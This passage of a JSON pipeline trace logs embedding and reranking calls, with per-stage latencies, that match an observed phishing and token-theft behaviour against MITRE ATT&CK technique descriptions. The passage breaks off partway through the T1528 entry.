"exemplar_catalog_encode_20", + "function": "encode", + "requested_model": "Qwen/Qwen3-Embedding-8B", + "runtime_model": "Qwen/Qwen3-Embedding-8B", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 74.5 + }, + { + "stage": "exemplar_catalog_encode_21", + "function": "encode", + "requested_model": "Qwen/Qwen3-Embedding-8B", + "runtime_model": "Qwen/Qwen3-Embedding-8B", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 75.2 + }, + { + "stage": "exemplar_catalog_encode_22", + "function": "encode", + "requested_model": "Qwen/Qwen3-Embedding-8B", + "runtime_model": "Qwen/Qwen3-Embedding-8B", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 61.9 + }, + { + "stage": "exemplar_catalog_encode_23", + "function": "encode", + "requested_model": "Qwen/Qwen3-Embedding-8B", + "runtime_model": "Qwen/Qwen3-Embedding-8B", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 75.0 + }, + { + "stage": "exemplar_catalog_encode_24", + "function": "encode", + "requested_model": "Qwen/Qwen3-Embedding-8B", + "runtime_model": "Qwen/Qwen3-Embedding-8B", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 74.4 + }, + { + "stage": "exemplar_catalog_encode_25", + "function": "encode", + "requested_model": "Qwen/Qwen3-Embedding-8B", + "runtime_model": "Qwen/Qwen3-Embedding-8B", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 60.3 + }, + { + "stage": "exemplar_catalog_encode_26", + "function": "encode", + "requested_model": "Qwen/Qwen3-Embedding-8B", + "runtime_model": "Qwen/Qwen3-Embedding-8B", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 56.6 + }, + { + "stage": "exemplar_catalog_encode_27", + "function": "encode", + "requested_model": "Qwen/Qwen3-Embedding-8B", + "runtime_model": "Qwen/Qwen3-Embedding-8B", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 72.2 + }, + { + "stage": "exemplar_catalog_encode_28", + "function": "encode", + "requested_model": "Qwen/Qwen3-Embedding-8B", + "runtime_model": "Qwen/Qwen3-Embedding-8B", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 61.8 + }, + { + "stage": "exemplar_catalog_encode_29", + "function": "encode", + "requested_model": "Qwen/Qwen3-Embedding-8B", + "runtime_model": "Qwen/Qwen3-Embedding-8B", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 124.0 + }, + { + "stage": "exemplar_catalog_encode_30", + "function": "encode", + "requested_model": "Qwen/Qwen3-Embedding-8B", + "runtime_model": "Qwen/Qwen3-Embedding-8B", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 74.2 + }, + { + "stage": "exemplar_catalog_encode_31", + "function": "encode", + "requested_model": "Qwen/Qwen3-Embedding-8B", + "runtime_model": "Qwen/Qwen3-Embedding-8B", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 75.7 + }, + { + "stage": "exemplar_catalog_encode_32", + "function": "encode", + "requested_model": "Qwen/Qwen3-Embedding-8B", + "runtime_model": "Qwen/Qwen3-Embedding-8B", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 73.4 + }, + { + "stage": "exemplar_catalog_encode_33", + "function": "encode", + "requested_model": "Qwen/Qwen3-Embedding-8B", + "runtime_model": "Qwen/Qwen3-Embedding-8B", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 74.2 + }, + { + "stage": "exemplar_catalog_encode_34", + "function": "encode", + "requested_model": "Qwen/Qwen3-Embedding-8B", + "runtime_model": "Qwen/Qwen3-Embedding-8B", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 61.6 + }, + { + "stage": "exemplar_catalog_encode_35", + "function": "encode", + "requested_model": "Qwen/Qwen3-Embedding-8B", + "runtime_model": "Qwen/Qwen3-Embedding-8B", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 76.2 + }, + { + "stage": "exemplar_catalog_encode_36", + "function": "encode", + "requested_model": "Qwen/Qwen3-Embedding-8B", + "runtime_model": "Qwen/Qwen3-Embedding-8B", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 75.8 + }, + { + "stage": "exemplar_catalog_encode_37", + "function": "encode", + "requested_model": "Qwen/Qwen3-Embedding-8B", + "runtime_model": "Qwen/Qwen3-Embedding-8B", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 74.3 + }, + { + "stage": "exemplar_catalog_encode_38", + "function": "encode", + "requested_model": "Qwen/Qwen3-Embedding-8B", + "runtime_model": "Qwen/Qwen3-Embedding-8B", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 61.9 + }, + { + "stage": "exemplar_catalog_encode_39", + "function": "encode", + "requested_model": "Qwen/Qwen3-Embedding-8B", + "runtime_model": "Qwen/Qwen3-Embedding-8B", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 76.8 + }, + { + "stage": "exemplar_catalog_encode_40", + "function": "encode", + "requested_model": "Qwen/Qwen3-Embedding-8B", + "runtime_model": "Qwen/Qwen3-Embedding-8B", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 72.0 + }, + { + "stage": "exemplar_catalog_encode_41", + "function": "encode", + "requested_model": "Qwen/Qwen3-Embedding-8B", + "runtime_model": "Qwen/Qwen3-Embedding-8B", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 74.8 + }, + { + "stage": "exemplar_catalog_encode_42", + "function": "encode", + "requested_model": "Qwen/Qwen3-Embedding-8B", + "runtime_model": "Qwen/Qwen3-Embedding-8B", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 73.2 + }, + { + "stage": "exemplar_catalog_encode_43", + "function": "encode", + "requested_model": "Qwen/Qwen3-Embedding-8B", + "runtime_model": "Qwen/Qwen3-Embedding-8B", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 74.7 + }, + { + "stage": "exemplar_catalog_encode_44", + "function": "encode", + "requested_model": "Qwen/Qwen3-Embedding-8B", + "runtime_model": "Qwen/Qwen3-Embedding-8B", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 72.4 + }, + { + "stage": "exemplar_catalog_encode_45", + "function": "encode", + "requested_model": "Qwen/Qwen3-Embedding-8B", + "runtime_model": "Qwen/Qwen3-Embedding-8B", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 61.1 + }, + { + "stage": "exemplar_catalog_encode_46", + "function": "encode", + "requested_model": "Qwen/Qwen3-Embedding-8B", + "runtime_model": "Qwen/Qwen3-Embedding-8B", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 61.1 + }, + { + "stage": "exemplar_catalog_encode_47", + "function": "encode", + "requested_model": "Qwen/Qwen3-Embedding-8B", + "runtime_model": "Qwen/Qwen3-Embedding-8B", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 71.7 + }, + { + "stage": "exemplar_catalog_encode_48", + "function": "encode", + "requested_model": "Qwen/Qwen3-Embedding-8B", + "runtime_model": "Qwen/Qwen3-Embedding-8B", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 62.3 + }, + { + "stage": "exemplar_catalog_encode_49", + "function": "encode", + "requested_model": "Qwen/Qwen3-Embedding-8B", + "runtime_model": "Qwen/Qwen3-Embedding-8B", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 73.8 + }, + { + "stage": "exemplar_catalog_encode_50", + "function": "encode", + "requested_model": "Qwen/Qwen3-Embedding-8B", + "runtime_model": "Qwen/Qwen3-Embedding-8B", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 74.5 + }, + { + "stage": "exemplar_catalog_encode_51", + "function": "encode", + "requested_model": "Qwen/Qwen3-Embedding-8B", + "runtime_model": "Qwen/Qwen3-Embedding-8B", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 87.1 + }, + { + "stage": "exemplar_catalog_encode_52", + "function": "encode", + "requested_model": "Qwen/Qwen3-Embedding-8B", + "runtime_model": "Qwen/Qwen3-Embedding-8B", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 75.1 + }, + { + "stage": "exemplar_catalog_encode_53", + "function": "encode", + "requested_model": "Qwen/Qwen3-Embedding-8B", + "runtime_model": "Qwen/Qwen3-Embedding-8B", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 61.2 + }, + { + "stage": "exemplar_catalog_encode_54", + "function": "encode", + "requested_model": "Qwen/Qwen3-Embedding-8B", + "runtime_model": "Qwen/Qwen3-Embedding-8B", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 56.7 + }, + { + "stage": "exemplar_catalog_encode_55", + "function": "encode", + "requested_model": "Qwen/Qwen3-Embedding-8B", + "runtime_model": "Qwen/Qwen3-Embedding-8B", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 62.0 + }, + { + "stage": "exemplar_catalog_encode_56", + "function": "encode", + "requested_model": "Qwen/Qwen3-Embedding-8B", + "runtime_model": "Qwen/Qwen3-Embedding-8B", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 63.0 + }, + { + "stage": "exemplar_catalog_encode_57", + "function": "encode", + "requested_model": "Qwen/Qwen3-Embedding-8B", + "runtime_model": "Qwen/Qwen3-Embedding-8B", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 74.4 + }, + { + "stage": "exemplar_catalog_encode_58", + "function": "encode", + "requested_model": "Qwen/Qwen3-Embedding-8B", + "runtime_model": "Qwen/Qwen3-Embedding-8B", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 75.0 + }, + { + "stage": "exemplar_catalog_encode_59", + "function": "encode", + "requested_model": "Qwen/Qwen3-Embedding-8B", + "runtime_model": "Qwen/Qwen3-Embedding-8B", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 74.8 + }, + { + "stage": "exemplar_catalog_encode_60", + "function": "encode", + "requested_model": "Qwen/Qwen3-Embedding-8B", + "runtime_model": "Qwen/Qwen3-Embedding-8B", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 86.0 + }, + { + "stage": "exemplar_catalog_encode_61", + "function": "encode", + "requested_model": "Qwen/Qwen3-Embedding-8B", + "runtime_model": "Qwen/Qwen3-Embedding-8B", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 74.2 + }, + { + "stage": "exemplar_catalog_encode_62", + "function": "encode", + "requested_model": "Qwen/Qwen3-Embedding-8B", + "runtime_model": "Qwen/Qwen3-Embedding-8B", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 75.1 + }, + { + "stage": "exemplar_catalog_encode_63", + "function": "encode", + "requested_model": "Qwen/Qwen3-Embedding-8B", + "runtime_model": "Qwen/Qwen3-Embedding-8B", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 62.9 + }, + { + "stage": "exemplar_catalog_encode_64", + "function": "encode", + "requested_model": "Qwen/Qwen3-Embedding-8B", + "runtime_model": "Qwen/Qwen3-Embedding-8B", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 72.6 + }, + { + "stage": "exemplar_catalog_encode_65", + "function": "encode", + "requested_model": "Qwen/Qwen3-Embedding-8B", + "runtime_model": "Qwen/Qwen3-Embedding-8B", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 63.5 + }, + { + "stage": "exemplar_catalog_encode_66", + "function": "encode", + "requested_model": "Qwen/Qwen3-Embedding-8B", + "runtime_model": "Qwen/Qwen3-Embedding-8B", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 75.4 + }, + { + "stage": "exemplar_catalog_encode_67", + "function": "encode", + "requested_model": "Qwen/Qwen3-Embedding-8B", + "runtime_model": "Qwen/Qwen3-Embedding-8B", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 72.5 + }, + { + "stage": "exemplar_catalog_encode_68", + "function": "encode", + "requested_model": "Qwen/Qwen3-Embedding-8B", + "runtime_model": "Qwen/Qwen3-Embedding-8B", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 72.9 + }, + { + "stage": "exemplar_catalog_encode_69", + "function": "encode", + "requested_model": "Qwen/Qwen3-Embedding-8B", + "runtime_model": "Qwen/Qwen3-Embedding-8B", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 74.6 + }, + { + "stage": "exemplar_catalog_encode_70", + "function": "encode", + "requested_model": "Qwen/Qwen3-Embedding-8B", + "runtime_model": "Qwen/Qwen3-Embedding-8B", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 74.2 + }, + { + "stage": "exemplar_catalog_encode_71", + "function": "encode", + "requested_model": "Qwen/Qwen3-Embedding-8B", + "runtime_model": "Qwen/Qwen3-Embedding-8B", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 74.4 + }, + { + "stage": "exemplar_catalog_encode_72", + "function": "encode", + "requested_model": "Qwen/Qwen3-Embedding-8B", + "runtime_model": "Qwen/Qwen3-Embedding-8B", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 61.5 + }, + { + "stage": "exemplar_catalog_encode_73", + "function": "encode", + "requested_model": "Qwen/Qwen3-Embedding-8B", + "runtime_model": "Qwen/Qwen3-Embedding-8B", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 57.2 + }, + { + "stage": "exemplar_catalog_encode_74", + "function": "encode", + "requested_model": "Qwen/Qwen3-Embedding-8B", + "runtime_model": "Qwen/Qwen3-Embedding-8B", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 62.3 + }, + { + "stage": "exemplar_catalog_encode_75", + "function": "encode", + "requested_model": "Qwen/Qwen3-Embedding-8B", + "runtime_model": "Qwen/Qwen3-Embedding-8B", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 62.2 + }, + { + "stage": "exemplar_catalog_encode_76", + "function": "encode", + "requested_model": "Qwen/Qwen3-Embedding-8B", + "runtime_model": "Qwen/Qwen3-Embedding-8B", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 56.9 + }, + { + "stage": "exemplar_catalog_encode_77", + "function": "encode", + "requested_model": "Qwen/Qwen3-Embedding-8B", + "runtime_model": "Qwen/Qwen3-Embedding-8B", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 73.0 + }, + { + "stage": "exemplar_catalog_encode_78", + "function": "encode", + "requested_model": "Qwen/Qwen3-Embedding-8B", + "runtime_model": "Qwen/Qwen3-Embedding-8B", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 73.3 + }, + { + "stage": "exemplar_catalog_encode_79", + "function": "encode", + "requested_model": "Qwen/Qwen3-Embedding-8B", + "runtime_model": "Qwen/Qwen3-Embedding-8B", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 76.1 + }, + { + "stage": "exemplar_catalog_encode_80", + "function": "encode", + "requested_model": "Qwen/Qwen3-Embedding-8B", + "runtime_model": "Qwen/Qwen3-Embedding-8B", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 62.8 + }, + { + "stage": "exemplar_catalog_encode_81", + "function": "encode", + "requested_model": "Qwen/Qwen3-Embedding-8B", + "runtime_model": "Qwen/Qwen3-Embedding-8B", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 73.1 + }, + { + "stage": "exemplar_catalog_encode_82", + "function": "encode", + "requested_model": "Qwen/Qwen3-Embedding-8B", + "runtime_model": "Qwen/Qwen3-Embedding-8B", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 72.6 + }, + { + "stage": "exemplar_catalog_encode_83", + "function": "encode", + "requested_model": "Qwen/Qwen3-Embedding-8B", + "runtime_model": "Qwen/Qwen3-Embedding-8B", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 74.3 + }, + { + "stage": "exemplar_catalog_encode_84", + "function": "encode", + "requested_model": "Qwen/Qwen3-Embedding-8B", + "runtime_model": "Qwen/Qwen3-Embedding-8B", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 72.5 + }, + { + "stage": "exemplar_catalog_encode_85", + "function": "encode", + "requested_model": "Qwen/Qwen3-Embedding-8B", + "runtime_model": "Qwen/Qwen3-Embedding-8B", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 73.1 + }, + { + "stage": "exemplar_catalog_encode_86", + "function": "encode", + "requested_model": "Qwen/Qwen3-Embedding-8B", + "runtime_model": "Qwen/Qwen3-Embedding-8B", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 74.2 + }, + { + "stage": "exemplar_catalog_encode_87", + "function": "encode", + "requested_model": "Qwen/Qwen3-Embedding-8B", + "runtime_model": "Qwen/Qwen3-Embedding-8B", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 72.8 + }, + { + "stage": "exemplar_catalog_encode_88", + "function": "encode", + "requested_model": "Qwen/Qwen3-Embedding-8B", + "runtime_model": "Qwen/Qwen3-Embedding-8B", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 73.3 + }, + { + "stage": "exemplar_catalog_encode_89", + "function": "encode", + "requested_model": "Qwen/Qwen3-Embedding-8B", + "runtime_model": "Qwen/Qwen3-Embedding-8B", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 61.9 + }, + { + "stage": "exemplar_catalog_encode_90", + "function": "encode", + "requested_model": "Qwen/Qwen3-Embedding-8B", + "runtime_model": "Qwen/Qwen3-Embedding-8B", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 74.8 + }, + { + "stage": "exemplar_catalog_encode_91", + "function": "encode", + "requested_model": "Qwen/Qwen3-Embedding-8B", + "runtime_model": "Qwen/Qwen3-Embedding-8B", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 73.5 + }, + { + "stage": "exemplar_catalog_encode_92", + "function": "encode", + "requested_model": "Qwen/Qwen3-Embedding-8B", + "runtime_model": "Qwen/Qwen3-Embedding-8B", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 73.7 + }, + { + "stage": "exemplar_catalog_encode_93", + "function": "encode", + "requested_model": "Qwen/Qwen3-Embedding-8B", + "runtime_model": "Qwen/Qwen3-Embedding-8B", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 74.8 + }, + { + "stage": "exemplar_catalog_encode_94", + "function": "encode", + "requested_model": "Qwen/Qwen3-Embedding-8B", + "runtime_model": "Qwen/Qwen3-Embedding-8B", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 89.7 + }, + { + "stage": "exemplar_catalog_encode_95", + "function": "encode", + "requested_model": "Qwen/Qwen3-Embedding-8B", + "runtime_model": "Qwen/Qwen3-Embedding-8B", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 58.8 + }, + { + "stage": "exemplar_catalog_encode_96", + "function": "encode", + "requested_model": "Qwen/Qwen3-Embedding-8B", + "runtime_model": "Qwen/Qwen3-Embedding-8B", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 72.7 + }, + { + "stage": "exemplar_catalog_encode_97", + "function": "encode", + "requested_model": "Qwen/Qwen3-Embedding-8B", + "runtime_model": "Qwen/Qwen3-Embedding-8B", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 63.6 + }, + { + "stage": "exemplar_catalog_encode_98", + "function": "encode", + "requested_model": "Qwen/Qwen3-Embedding-8B", + "runtime_model": "Qwen/Qwen3-Embedding-8B", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 74.7 + }, + { + "stage": "exemplar_catalog_encode_99", + "function": "encode", + "requested_model": "Qwen/Qwen3-Embedding-8B", + "runtime_model": "Qwen/Qwen3-Embedding-8B", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 63.4 + }, + { + "stage": "exemplar_catalog_encode_100", + "function": "encode", + "requested_model": "Qwen/Qwen3-Embedding-8B", + "runtime_model": "Qwen/Qwen3-Embedding-8B", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 73.6 + }, + { + "stage": "exemplar_catalog_encode_101", + "function": "encode", + "requested_model": "Qwen/Qwen3-Embedding-8B", + "runtime_model": "Qwen/Qwen3-Embedding-8B", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 73.5 + }, + { + "stage": "exemplar_catalog_encode_102", + "function": "encode", + "requested_model": "Qwen/Qwen3-Embedding-8B", + "runtime_model": "Qwen/Qwen3-Embedding-8B", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 74.7 + }, + { + "stage": "exemplar_catalog_encode_103", + "function": "encode", + "requested_model": "Qwen/Qwen3-Embedding-8B", + "runtime_model": "Qwen/Qwen3-Embedding-8B", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 72.5 + }, + { + "stage": "exemplar_catalog_encode_104", + "function": "encode", + "requested_model": "Qwen/Qwen3-Embedding-8B", + "runtime_model": "Qwen/Qwen3-Embedding-8B", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 63.3 + }, + { + "stage": "exemplar_catalog_encode_105", + "function": "encode", + "requested_model": "Qwen/Qwen3-Embedding-8B", + "runtime_model": "Qwen/Qwen3-Embedding-8B", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 75.7 + }, + { + "stage": "exemplar_catalog_encode_106", + "function": "encode", + "requested_model": "Qwen/Qwen3-Embedding-8B", + "runtime_model": "Qwen/Qwen3-Embedding-8B", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 75.6 + }, + { + "stage": "exemplar_catalog_encode_107", + "function": "encode", + "requested_model": "Qwen/Qwen3-Embedding-8B", + "runtime_model": "Qwen/Qwen3-Embedding-8B", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 63.0 + }, + { + "stage": "exemplar_catalog_encode_108", + "function": "encode", + "requested_model": "Qwen/Qwen3-Embedding-8B", + "runtime_model": "Qwen/Qwen3-Embedding-8B", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 73.9 + }, + { + "stage": "exemplar_catalog_encode_109", + "function": "encode", + "requested_model": "Qwen/Qwen3-Embedding-8B", + "runtime_model": "Qwen/Qwen3-Embedding-8B", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 40.4 + }, + { + "stage": "exemplar_behavior_encode_0", + "function": "encode", + "requested_model": "Qwen/Qwen3-Embedding-8B", + "runtime_model": "Qwen/Qwen3-Embedding-8B", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 74.2 + }, + { + "stage": "exemplar_behavior_encode_1", + "function": "encode", + "requested_model": "Qwen/Qwen3-Embedding-8B", + "runtime_model": "Qwen/Qwen3-Embedding-8B", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 55.6 + }, + { + "stage": "late_behavior_encode_0", + "function": "encode", + "requested_model": "jinaai/jina-colbert-v2", + "runtime_model": "jinaai/jina-colbert-v2", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 24.7 + }, + { + "stage": "late_behavior_encode_1", + "function": "encode", + "requested_model": "jinaai/jina-colbert-v2", + "runtime_model": "jinaai/jina-colbert-v2", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 16.6 + }, + { + "stage": "rerank", + "function": "score", + "requested_model": "Qwen/Qwen3-Reranker-4B", + "runtime_model": "Qwen/Qwen3-Reranker-4B", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 5919.2, + "request_payload": { + "query": { + "id": "behavior", + "text": "Observed adversary behavior: phish kits are evolving with the times to steal these tokens and bypass this trusted layer of security" + }, + "items": [ + { + "id": "T1566", + "text": "ATT&CK technique: T1566 Phishing\nDescription: Adversaries may send phishing messages to gain access to victim systems. All forms of phishing are electronically delivered social engineering. Phishing can be targeted, known as spearphishing. In spearphishing, a specific individual, company, or industry will be targeted by the adversary. More generally, adversaries can conduct non-targeted phishing, such as in mass malware spam campaigns. Adversaries may send victims emails containing malicious attachments or links, typically to execute malicious code on victim systems. Phishing may also be conducted via third-party services, like social media platforms. Phishing may also involve social engineering techniques, such as posing as a trusted source, as well as evasive techniques such as removing or manipulating emails or metadata/headers from compromised accounts being abused to send messages (e.g., Email Hiding Rules). Another way to accomplish this is by Email Spoofing the identity of the sender, which can be used to fool both the human recipient as well as automated security tools, or by including the intended target as a party to an existing email thread that includes malicious files or links (i.e., \"thread hijacking\"). Victims may also receive phishing messages that instruct them to call a phone number where they are directed to visit a malicious URL, download malware, or install adversary-accessible remote management tools onto their computer (i.e., User Execution).\nTactics: initial access\nPlatforms: Identity Provider, Linux, Office Suite, SaaS, Windows, macOS\nLabeled report example: New Voicemail-Themed Phishing Attacks Use Evasion Techniques and Steal Credentials" + }, + { + "id": "T1528", + "text": "ATT&CK technique: T1528 Steal Application Access Token\nDescription: Adversaries can steal application access tokens as a means of acquiring credentials to access remote systems and resources. Application access tokens are used to make authorized API requests on behalf of a user or service and are commonly used as a way to access resources in cloud and container-based applications and software-as-a-service (SaaS). Adversaries who steal account API tokens in cloud and containerized environments may be able to access data and perform actions with the permissions of these accounts, which can lead to privilege escalation and further compromise of the environment. For example, in Kubernetes environments, processes running inside a container may communicate with the Kubernetes API server using service account tokens. If a container is compromised, an adversary may be able to steal the container’s token and thereby gain access to Kubernetes API commands. Similarly, instances within continuous-development / continuous-integration (CI/CD) pipelines will often use API tokens to authenticate to other services for testing and deployment. If these pipelines are compromised, adversaries may be able to steal these tokens and leverage their privileges. In Azure, an adversary who compromises a resource with an attached Managed Identity, such as an Azure VM, can request short-lived tokens through the Azure Instance Metadata Service (IMDS). These tokens can then facilitate unauthorized actions or further access to other Azure services, bypassing typical credential-based authentication. Token theft can also occur through social engineering, in which case user action may be required to grant access. OAuth is one commonly implemented framework that issues tokens to users for access to systems. An application desiring access to cloud-based services or protected APIs can gain entry using OAuth 2.0 through a variety of authorization protocols. An example commonly-used sequence is Microsoft's Authorization Code Grant flow. An OAuth access token enables a third-party application to interact with resources containing user data in the ways requested by the application without obtaining user credentials. Adversaries can leverage OAuth authorization by constructing a malicious application designed to be granted access to resources with the target user's OAuth token. The adversary will need to complete registration of their application with the authorization server, for 